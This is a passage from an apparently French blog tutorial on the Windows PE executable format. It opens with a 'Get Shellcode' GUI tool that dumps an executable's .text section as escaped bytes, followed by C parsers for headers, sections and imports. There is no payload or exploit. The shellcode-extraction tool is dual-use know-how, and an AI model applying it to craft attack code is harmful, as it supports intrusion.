146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
#include <windows.h>
#include <stdio.h>
#include <windowsx.h>

typedef FILE *PFILE;

#define APPLICATIONNAME "Get Shellcode\0"
#define CLASSNAME       "GetShellcode\0"

#define IDC_FILENAME_EDIT   101
#define IDC_LOAD_BUTTON     102
#define IDC_SHELLCODE_EDIT  103

#define IDA_SHELLCODE_EDIT 201

HINSTANCE hInst;
HWND hWnd;

ATOM                MyRegisterClass(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE, int);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
void                ResizeControls(HWND, HWND, HWND, HWND);
void                OnButtonClick(HWND, HWND, HWND);
void                GetShellcode(HWND, HWND, LPSTR);
void                DumpTextSegment(PFILE, IMAGE_SECTION_HEADER, HWND, HWND);

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
    MSG msg;
    ACCEL accel;
    HACCEL haccel;

    MyRegisterClass(hInstance);
   
    if(!InitInstance(hInstance, nCmdShow))
    {
        return FALSE;
    }

    accel.fVirt = FCONTROL|FVIRTKEY;
    accel.key = 0x41;
    accel.cmd = IDA_SHELLCODE_EDIT;

    haccel = CreateAcceleratorTable(&accel, 1);

    if(haccel == NULL)
    {
        return FALSE;
    }

    while(GetMessage(&msg, NULL, 0, 0))
    {
        if(!TranslateAccelerator(hWnd, haccel, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
   
    return (int)msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEX wcex;
   
    wcex.cbSize = sizeof(WNDCLASSEX);
   
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(NULL, IDI_APPLICATION);
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = CLASSNAME;
    wcex.hIconSm        = LoadIcon(NULL, IDI_APPLICATION);
   
    return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{    
    hInst = hInstance; // Stocke le handle d'instance dans la variable globale.
   
    hWnd = CreateWindow(CLASSNAME, APPLICATIONNAME, WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, 0, 800, 500, NULL, NULL, hInstance, NULL);
   
    if(!hWnd)
    {
        return FALSE;
    }
   
    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);
   
    return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    int wmId, wmEvent;
    PAINTSTRUCT ps;
    HDC hdc;

    static HWND hwndFilenameEdit;
    static HWND hwndLoadButton;
    static HWND hwndShellcodeEdit;

    switch(message)
    {
    case WM_CREATE:
        hwndFilenameEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_READONLY | ES_LEFT,
            0, 0, 0, 0, hWnd, (HMENU)IDC_FILENAME_EDIT, hInst, NULL);
        hwndLoadButton = CreateWindow("BUTTON", "Load...", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
            0, 0, 0, 0, hWnd, (HMENU)IDC_LOAD_BUTTON, hInst, NULL);
        hwndShellcodeEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | WS_VSCROLL | ES_READONLY | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,
            0, 0, 0, 0, hWnd, (HMENU)IDC_SHELLCODE_EDIT, hInst, NULL);
        ResizeControls(hwndFilenameEdit, hwndLoadButton, hwndShellcodeEdit, hWnd);
        break;
    case WM_SIZE:
        ResizeControls(hwndFilenameEdit, hwndLoadButton, hwndShellcodeEdit, hWnd);
        break;
    case WM_COMMAND:
        wmId    = LOWORD(wParam);
        wmEvent = HIWORD(wParam);
        // Analyse les sélections de menu :
        switch(wmId)
        {
        case IDC_LOAD_BUTTON:
            OnButtonClick(hwndFilenameEdit, hwndShellcodeEdit, hWnd);
            break;
        case IDA_SHELLCODE_EDIT:
            Edit_SetSel(hwndShellcodeEdit, 0, Edit_GetTextLength(hwndShellcodeEdit));
            SetFocus(hwndShellcodeEdit);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
        break;
    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
        // TODO : ajoutez ici le code de dessin...
        EndPaint(hWnd, &ps);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }

    return 0;
}

void ResizeControls(HWND hwndFilenameEdit, HWND hwndLoadButton, HWND hwndShellcodeEdit, HWND hWnd)
{
  RECT rcClient;
 
  GetClientRect(hWnd, &rcClient);
 
  MoveWindow(hwndFilenameEdit, 15, 15, rcClient.right - rcClient.left - (15 + 80 + 15 + 15), 25, TRUE);
 
  MoveWindow(hwndLoadButton, rcClient.right - (15 + 80), 15, 80, 25, TRUE);
 
  MoveWindow(hwndShellcodeEdit, 15, 15 + 25 + 15, rcClient.right - rcClient.left - (15 + 15),
      rcClient.bottom - rcClient.top - (15 + 25 + 15 + 15), TRUE);
}

void OnButtonClick(HWND hwndFilenameEdit, HWND hwndShellcodeEdit, HWND hWnd)
{
    OPENFILENAME ofn;
    TCHAR szFile[1024];
   
    ZeroMemory(&ofn, sizeof(ofn));
    ofn.lStructSize     = sizeof(ofn);
    ofn.hwndOwner       = hWnd;
    ofn.lpstrFile       = szFile;
    ofn.lpstrFile[0]    = '\0';
    ofn.nMaxFile        = sizeof(szFile);
    ofn.lpstrFilter     = TEXT("Executable Files\0*.exe\0\0");
    ofn.nFilterIndex    = 1;
    ofn.lpstrFileTitle  = NULL;
    ofn.nMaxFileTitle   = 0;
    ofn.lpstrInitialDir = NULL;
    ofn.Flags           = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
   
    if(GetOpenFileName(&ofn))
    {
        Edit_SetText(hwndFilenameEdit, ofn.lpstrFile);
        return GetShellcode(hWnd, hwndShellcodeEdit, ofn.lpstrFile);
    }
}

void GetShellcode(HWND hWnd, HWND hwndShellcodeEdit, LPSTR lpstrFile)
{
    PFILE pfile = NULL;
    IMAGE_DOS_HEADER iDosHeader;
    IMAGE_NT_HEADERS iNtHeaders;
    IMAGE_SECTION_HEADER iSectionHeader;

    pfile = fopen(lpstrFile, "rb");

    if(pfile == NULL)
    {
        MessageBox(hWnd, "Impossible d'ouvrir le fichier.", "Erreur", MB_OK | MB_ICONERROR);
        return;
    }

    fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

    fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

    fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

    for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
    {
        fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);

        if(!strcmp((char*)iSectionHeader.Name, ".text"))
        {
            return DumpTextSegment(pfile, iSectionHeader, hwndShellcodeEdit, hWnd);
        }
    }

    MessageBox(hWnd, "Impossible de trouver le segment text.", "Erreur", MB_OK | MB_ICONERROR);
   
    return;
}

void DumpTextSegment(PFILE pfile, IMAGE_SECTION_HEADER iSectionHeader, HWND hwndShellcodeEdit, HWND hWnd)
{
    BYTE by = 0;
    int nLength = 0;
    char szText[5];

    Edit_SetText(hwndShellcodeEdit, "");

    fseek(pfile, iSectionHeader.PointerToRawData, SEEK_SET);

    for(DWORD dw = 0; dw < iSectionHeader.Misc.VirtualSize; dw++)
    {
        fread(&by, sizeof(BYTE), 1, pfile);
        sprintf(szText, "\\x%.2X", by);
       
        nLength = Edit_GetTextLength(hwndShellcodeEdit);
        Edit_SetSel(hwndShellcodeEdit, nLength, nLength);
        Edit_ReplaceSel(hwndShellcodeEdit, szText);
    }

    fclose(pfile);

    Edit_SetSel(hwndShellcodeEdit, 0, Edit_GetTextLength(hwndShellcodeEdit));

    SetFocus(hwndShellcodeEdit);
}


 

Publié dans Shellcode | Marqué avec , , | Laisser un commentaire

Le format PE :

Le format PE (Portable Executable) est le format utilisé sur Windows pour organiser les fichiers exécutables ainsi que les fichiers objets, donc, chaque .exe et .dll (pour ne citer qu’eux) sont créés selon ce format. Maintenant nous allons voir comment analyser ces deux types de fichiers pour obtenir toutes les informations utiles qui nous sont disponibles.

Voici un schéma représentant la structure d’un fichier PE :

+--------------------+
|     Section n      |
+--------------------+
|        ...         |
+--------------------+
|     Section 2	     |
+--------------------+
|     Section 1      |
+--------------------+
|   Tableau de       | tableau de
|   section header   | IMAGE_SECTION_HEADER
+--------------------+-----------------------
| PE Optional header | IMAGE_OPTIONAL_HEADER
+--------------------+
|   PE File header   | IMAGE_FILE_HEADER        IMAGE_NT_HEADERS
+--------------------+                         /
|    PE Signature    | PE\0\0                 /
+--------------------+-----------------------/
|                    |
+--------------------+
|   MS-DOS header    | IMAGE_DOS_HEADER
+--------------------+ offset 0

 

L’en-tête MS-DOS (IMAGE_DOS_HEADER) est là pour permettre au format PE de rester compatible avec DOS, nous allons nous occuper seulement de deux des champs de cette structure :
- Le champ e_magic qui doit être à IMAGE_DOS_SIGNATURE ou encore 0x5A4D qui signifie MZ (les initiales de Mark Zbikowski : l’un des développeurs MS-DOS) et qui sert à vérifier que le fichier est bien valide.
- Le champ e_lfanew qui est l’offset vers la structure IMAGE_NT_HEADERS. Il regroupe donc la PE Signature, le PE File header et le PE Optional header.
Toutes les structures concernant le format PE se trouvent dans le fichier « winnt.h ».

Nous allons commencer par chercher puis afficher les informations qui nous sont disponibles dans la structure IMAGE_FILE_HEADER, ceci grâce à deux fonctions en C : fread() et fseek(). Il faudra lire IMAGE_DOS_HEADER, puis aller à l’offset e_lfanew et enfin lire IMAGE_NT_HEADERS.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <windows.h>
#include <stdio.h>
#include <time.h>

typedef struct
{
    WORD flag;
    PCHAR name;
}CHARACTERISTICS;

CHARACTERISTICS arrCharacteristics[] =
{
    {IMAGE_FILE_RELOCS_STRIPPED, "RELOCS_STRIPPED"},
    {IMAGE_FILE_EXECUTABLE_IMAGE, "EXECUTABLE_IMAGE"},
    {IMAGE_FILE_LINE_NUMS_STRIPPED, "LINE_NUMS_STRIPPED"},
    {IMAGE_FILE_LOCAL_SYMS_STRIPPED, "LOCAL_SYMS_STRIPPED"},
    {IMAGE_FILE_AGGRESIVE_WS_TRIM, "AGGRESIVE_WS_TRIM"},
    {IMAGE_FILE_LARGE_ADDRESS_AWARE, "LARGE_ADDRESS_AWARE"},
    {IMAGE_FILE_BYTES_REVERSED_LO, "BYTES_REVERSED_LO"},
    {IMAGE_FILE_32BIT_MACHINE, "32BIT_MACHINE"},
    {IMAGE_FILE_DEBUG_STRIPPED, "DEBUG_STRIPPED"},
    {IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP, "REMOVABLE_RUN_FROM_SWAP"},
    {IMAGE_FILE_NET_RUN_FROM_SWAP, "NET_RUN_FROM_SWAP"},
    {IMAGE_FILE_SYSTEM, "SYSTEM"},
    {IMAGE_FILE_DLL, "DLL"},
    {IMAGE_FILE_UP_SYSTEM_ONLY, "UP_SYSTEM_ONLY"},
    {IMAGE_FILE_BYTES_REVERSED_HI, "BYTES_REVERSED_HI"}
};

void DumpImageFileHeader(IMAGE_FILE_HEADER iFileHeader);

int main(int argc, char *argv[])
{
    IMAGE_DOS_HEADER iDosHeader;
    IMAGE_NT_HEADERS iNtHeaders;
    FILE *pfile = NULL;
   
    if(argc != 2)
    {
        printf("USAGE: DumpImageFileHeader.exe <fichier>\n");
        printf("EXAMPLE: DumpImageFileHeader.exe C:\\Windows\\System32\\kernel32.dll\n");
        printf("\n");
        system("PAUSE");
        exit(1);
    }
   
    pfile = fopen(argv[1], "rb");
   
    if(pfile == NULL)
    {
        printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
        exit(1);
    }
   
    // On lit l'en-tête DOS :
    fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);
   
    // On check la signature :
    if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    // On se positionne à l'offset de l'en-tête NT :
    fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);
   
    // On lit l'en-tête NT :
    fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);
   
    // On check la signature :
    if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    DumpImageFileHeader(iNtHeaders.FileHeader);
   
    return 0;
}

void DumpImageFileHeader(IMAGE_FILE_HEADER iFileHeader)
{
    // Machine
    if(iFileHeader.Machine == IMAGE_FILE_MACHINE_I386)
        printf("[*] Machine: %.4X (x86)\n", iFileHeader.Machine);
    else if(iFileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
        printf("[*] Machine: %.4X (x64)\n", iFileHeader.Machine);
    else printf("[*] Machine: %.4X (ni x86 ni x64)\n", iFileHeader.Machine);
   
    printf("\n");
   
    // NumberOfSections
    printf("[*] NumberOfSections: %hu\n", iFileHeader.NumberOfSections);
   
    printf("\n");
   
    // TimeDateStamp
    printf("[*] TimeDateStamp: %lu\n", iFileHeader.TimeDateStamp);
    printf("    %s", ctime((time_t*)&iFileHeader.TimeDateStamp));
   
    printf("\n");
   
    // PointerToSymbolTable
    printf("[*] PointerToSymbolTable: %.8X\n", iFileHeader.PointerToSymbolTable);
   
    printf("\n");
   
    // NumberOfSymbols
    printf("[*] NumberOfSymbols: %lu\n", iFileHeader.NumberOfSymbols);
   
    printf("\n");
   
    // SizeOfOptionalHeader
    printf("[*] SizeOfOptionalHeader: %hu\n", iFileHeader.SizeOfOptionalHeader);
   
    printf("\n");
   
    // Characteristics
    printf("[*] Characteristics: %.4X\n", iFileHeader.Characteristics);
    for(unsigned u = 0; u < sizeof(arrCharacteristics) / sizeof(CHARACTERISTICS); u++)
    {
        if(iFileHeader.Characteristics & arrCharacteristics[u].flag)
        {
            printf("    %s\n", arrCharacteristics[u].name);
        }
    }
}


 

Maintenant, occupons-nous de lister toutes les informations concernant chaque section. Le tableau des sections se trouve juste après IMAGE_NT_HEADERS et dans le code précédent nous avons obtenu le nombre de sections disponibles, nous savons donc combien de IMAGE_SECTION_HEADER il faut lire.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#include <windows.h>
#include <stdio.h>

typedef struct
{
    DWORD flag;
    PCHAR name;
}CHARACTERISTICS;

CHARACTERISTICS arrCharacteristics[] =
{
    {IMAGE_SCN_TYPE_NO_PAD, "TYPE_NO_PAD"},
    {IMAGE_SCN_CNT_CODE, "CNT_CODE"},
    {IMAGE_SCN_CNT_INITIALIZED_DATA, "CNT_INITIALIZED_DATA"},
    {IMAGE_SCN_CNT_UNINITIALIZED_DATA, "CNT_UNINITIALIZED_DATA"},
    {IMAGE_SCN_LNK_OTHER, "LNK_OTHER"},
    {IMAGE_SCN_LNK_INFO, "LNK_INFO"},
    {IMAGE_SCN_LNK_REMOVE, "LNK_REMOVE"},
    {IMAGE_SCN_LNK_COMDAT, "LNK_COMDAT"},
    {IMAGE_SCN_NO_DEFER_SPEC_EXC, "NO_DEFER_SPEC_EXC"},
    {IMAGE_SCN_GPREL, "GPREL"},
    {IMAGE_SCN_MEM_FARDATA, "MEM_FARDATA"},
    {IMAGE_SCN_MEM_PURGEABLE, "MEM_PURGEABLE"},
    {IMAGE_SCN_MEM_16BIT, "MEM_16BIT"},
    {IMAGE_SCN_MEM_LOCKED, "MEM_LOCKED"},
    {IMAGE_SCN_MEM_PRELOAD, "MEM_PRELOAD"},
    {IMAGE_SCN_ALIGN_1BYTES, "ALIGN_1BYTES"},
    {IMAGE_SCN_ALIGN_2BYTES, "ALIGN_2BYTES"},
    {IMAGE_SCN_ALIGN_4BYTES, "ALIGN_4BYTES"},
    {IMAGE_SCN_ALIGN_8BYTES, "ALIGN_8BYTES"},
    {IMAGE_SCN_ALIGN_16BYTES, "ALIGN_16BYTES"},
    {IMAGE_SCN_ALIGN_32BYTES, "ALIGN_32BYTES"},
    {IMAGE_SCN_ALIGN_64BYTES, "ALIGN_64BYTES"},
    {IMAGE_SCN_ALIGN_128BYTES, "ALIGN_128BYTES"},
    {IMAGE_SCN_ALIGN_256BYTES, "ALIGN_256BYTES"},
    {IMAGE_SCN_ALIGN_512BYTES, "ALIGN_512BYTES"},
    {IMAGE_SCN_ALIGN_1024BYTES, "ALIGN_1024BYTES"},
    {IMAGE_SCN_ALIGN_2048BYTES, "ALIGN_2048BYTES"},
    {IMAGE_SCN_ALIGN_4096BYTES, "ALIGN_4096BYTES"},
    {IMAGE_SCN_ALIGN_8192BYTES, "ALIGN_8192BYTES"},
    {IMAGE_SCN_ALIGN_MASK, "ALIGN_MASK"},
    {IMAGE_SCN_LNK_NRELOC_OVFL, "LNK_NRELOC_OVFL"},
    {IMAGE_SCN_MEM_DISCARDABLE, "MEM_DISCARDABLE"},
    {IMAGE_SCN_MEM_NOT_CACHED, "MEM_NOT_CACHED"},
    {IMAGE_SCN_MEM_NOT_PAGED, "MEM_NOT_PAGED"},
    {IMAGE_SCN_MEM_SHARED, "MEM_SHARED"},
    {IMAGE_SCN_MEM_EXECUTE, "MEM_EXECUTE"},
    {IMAGE_SCN_MEM_READ, "MEM_READ"},
    {IMAGE_SCN_MEM_WRITE, "MEM_WRITE"}
};

void GetSegmentsInfos(IMAGE_SECTION_HEADER iSectionHeader);

int main(int argc, char *argv[])
{
    IMAGE_DOS_HEADER iDosHeader;
    IMAGE_NT_HEADERS iNtHeaders;
    IMAGE_SECTION_HEADER iSectionHeader;
    FILE *pfile = NULL;
   
    if(argc != 2)
    {
        printf("USAGE: GetSegmentsInfos.exe <fichier>\n");
        printf("EXAMPLE: GetSegmentsInfos.exe C:\\Windows\\System32\\kernel32.dll\n");
        printf("\n");
        system("PAUSE");
        exit(1);
    }
   
    pfile = fopen(argv[1], "rb");
   
    if(pfile == NULL)
    {
        printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
        exit(1);
    }
   
    // On lit l'en-tête DOS :
    fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);
   
    // On check la signature :
    if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    // On se positionne à l'offset de l'en-tête NT :
    fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);
   
    // On lit l'en-tête NT :
    fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);
   
    // On check la signature :
    if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }

    for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
    {
        // On lit une structure IMAGE_SECTION_HEADER :
        fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);
        GetSegmentsInfos(iSectionHeader);
    }

    fclose(pfile);
   
    return 0;
}

void GetSegmentsInfos(IMAGE_SECTION_HEADER iSectionHeader)
{
    // Name
    printf("[*] Name: %s\n", iSectionHeader.Name);

    printf("\n");

    // VirtualSize :
    printf("[*] VirtualSize: %lu\n", iSectionHeader.Misc.VirtualSize);

    printf("\n");

    // VirtualAddress :
    printf("[*] VirtualAddress: %.8X\n", iSectionHeader.VirtualAddress);

    printf("\n");

    // SizeOfRawData :
    printf("[*] SizeOfRawData: %lu\n", iSectionHeader.SizeOfRawData);

    printf("\n");

    // PointerToRawData :
    printf("[*] PointerToRawData: %.8X\n", iSectionHeader.PointerToRawData);

    printf("\n");

    // PointerToRelocations :
    printf("[*] PointerToRelocations: %.8X\n", iSectionHeader.PointerToRelocations);

    printf("\n");

    // PointerToLinenumbers :
    printf("[*] PointerToLinenumbers: %.8X\n", iSectionHeader.PointerToLinenumbers);

    printf("\n");

    // NumberOfRelocations :
    printf("[*] NumberOfRelocations: %hu\n", iSectionHeader.NumberOfRelocations);

    printf("\n");
   
    // NumberOfLinenumbers :
    printf("[*] NumberOfLinenumbers: %hu\n", iSectionHeader.NumberOfLinenumbers);

    printf("\n");

    // Characteristics :
    printf("[*] Characteristics: %.8X\n", iSectionHeader.Characteristics);
    for(unsigned u = 0; u < sizeof(arrCharacteristics) / sizeof(CHARACTERISTICS); u++)
    {
        if(iSectionHeader.Characteristics & arrCharacteristics[u].flag)
        {
            printf("    %s\n", arrCharacteristics[u].name);
        }
    }

    printf("\n");

    printf("    -------------------------\n\n\n");
}


 

Pour dumper une section, il suffit de se placer à PointerToRawData de la section et de lire les bytes, exemple pour dumper le segment « .text » :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <windows.h>
#include <stdio.h>

void DumpTextSegment(IMAGE_SECTION_HEADER iSectionHeader, FILE *pfile);

int main(int argc, char *argv[])
{
    IMAGE_DOS_HEADER iDosHeader;
    IMAGE_NT_HEADERS iNtHeaders;
    IMAGE_SECTION_HEADER iSectionHeader;
    FILE *pfile = NULL;
   
    if(argc != 2)
    {
        printf("USAGE: DumpTextSegment.exe <fichier>\n");
        printf("EXAMPLE: DumpTextSegment.exe C:\\Windows\\System32\\kernel32.dll\n");
        printf("\n");
        system("PAUSE");
        exit(1);
    }
   
    pfile = fopen(argv[1], "rb");
   
    if(pfile == NULL)
    {
        printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
        exit(1);
    }
   
    // On lit l'en-tête DOS :
    fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);
   
    // On check la signature :
    if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    // On se positionne à l'offset de l'en-tête NT :
    fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);
   
    // On lit l'en-tête NT :
    fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);
   
    // On check la signature :
    if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }

    for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
    {
        // On lit une section :
        fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);
       
        // Est-ce la section .text?
        if(!strcmp((char*)iSectionHeader.Name, ".text"))
        {
            DumpTextSegment(iSectionHeader, pfile);
            break;
        }
    }
   
    printf("\n");

    return 0;
}

void DumpTextSegment(IMAGE_SECTION_HEADER iSectionHeader, FILE *pfile)
{
    BYTE by = 0;
    DWORD i;
    unsigned u = 0;

    // On se place au debut de la section :
    fseek(pfile, iSectionHeader.PointerToRawData, SEEK_SET);

    for(i = 0, u = 0; i < iSectionHeader.Misc.VirtualSize; i++, u++)
    {
        // On lit byte par byte :
        fread(&by, sizeof(BYTE), 1, pfile);

        if(u == 16)
        {
            printf("\n");
            u = 0;
        }

        printf("%.2X ", by);
    }
}


 

Maintenant, allons-y pour la table d’import, cette table contient les fonctions importées, c’est à dire les fonctions utilisées par un programme ou une dll mais qui ne réside pas dans ces derniers. Elles sont en fait définies dans d’autres dll. Par exemple, pour utiliser la fonction ExitProcess dans un programme, on doit l’importer de kernel32.dll ; pour la fonction MessageBox on l’importe de user32.dll.

Il est nécessaire pour lister les fonctions importées de savoir ce qu’est une RVA (Relative Virtual Address) : c’est enfaîte une adresse relative à une autre, l’adresse de base, par exemple si ImageBase est à 0×00400000 et que AddressOfEntryPoint est à 0×00001000 alors l’adresse du point d’entré de l’exécutable sera à 0×00401000.

On accède à la table d’importation grâce au champ DataDirectory de la structure IMAGE_OPTIONAL_HEADER, qui est un tableau de structure d’IMAGE_DATA_DIRECTORY contenant 2 membres : la RVA d’une structure de données et sa taille.
On trouve la structure de données qui nous intéresse, c’est à dire celle des importations, qui se nomme IMAGE_IMPORT_DESCRIPTOR, et tout cela grâce à la constante IMAGE_DIRECTORY_ENTRY_IMPORT qui correspond à l’index du tableau d’IMAGE_DATA_DIRECTORY.

Il y a autant d’IMAGE_IMPORT_DESCRIPTOR que de dll depuis lesquelles on importe des fonctions, le dernier a tous ses champs mis à 0.

Le champ Name de la structure IMAGE_IMPORT_DESCRIPTOR contient la RVA vers le nom de la dll. Les champs OriginalFirstThunk et FirstThunk sont normalement identiques tant que le programme n’est pas chargé. Ils peuvent être la RVA vers une structure appelée IMAGE_IMPORT_BY_NAME ou un simple DWORD, car une fonction peut être importée par son nom mais aussi par son ordinal/index (vous comprendrez tout cela dans la section suivante (celle qui parle des fonctions exportées).
Pour savoir si la fonction est importée par son nom ou par son index/ordinal, le bit de poids fort du « Thunk » sera égal à 0 sinon à 1. L’index sera le word de poids faible.
Pour tester ce bit, il existe une constante appelée IMAGE_ORDINAL_FLAG32.

Si la fonction est importée par son nom, on utilise la structure IMAGE_IMPORT_BY_NAME contenant deux champs, le premier : Hint qui contient l’index/ordinal de la fonction dans la table d’exportation de la dll, et le second : Name qui est le nom de la fonction.

Le dernier « Thunk » est à 0.

Si le programme ou la dll sont chargés en mémoire, alors FirstThunk devient l’adresse effective de la fonction, OriginalFirstThunk reste inchangé.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#include <windows.h>
#include <stdio.h>

typedef FILE *PFILE;

typedef struct _S_PE
{
    PFILE pfile;
    IMAGE_DOS_HEADER iDosHeader;
    IMAGE_NT_HEADERS iNtHeaders;
    PIMAGE_SECTION_HEADER piSectionHeader;
}S_PE, *PS_PE;

void ListImportedFunctions(PS_PE pspe);

void Init(PS_PE pspe);
DWORD RvaToOffset(PS_PE pspe, DWORD rva);
void ReadCstring(PS_PE pspe, char *name);

int main(int argc, char *argv[])
{
    S_PE spe;
   
    if(argc != 2)
    {
        printf("USAGE: ListImportedFunctions.exe <fichier>\n");
        printf("EXAMPLE: ListImportedFunctions.exe C:\\Windows\\System32\\kernel32.dll\n");
        printf("\n");
        system("PAUSE");
        exit(1);
    }
   
    memset(&spe, 0, sizeof(S_PE));
   
    spe.pfile = fopen(argv[1], "rb");
   
    if(spe.pfile == NULL)
    {
        printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
        exit(1);
    }
   
    Init(&spe);
   
    ListImportedFunctions(&spe);
   
    printf("\n");
   
    fclose(spe.pfile);
   
    return 0;
}

void Init(S_PE *pspe)
{
    // On lit l'en-tête DOS :
    fread(&pspe->iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pspe->pfile);

    // On check la signature :
    if(pspe->iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    // On se positionne à l'offset de l'en-tête NT :
    fseek(pspe->pfile, pspe->iDosHeader.e_lfanew, SEEK_SET);
   
    // On lit l'en-tête NT :
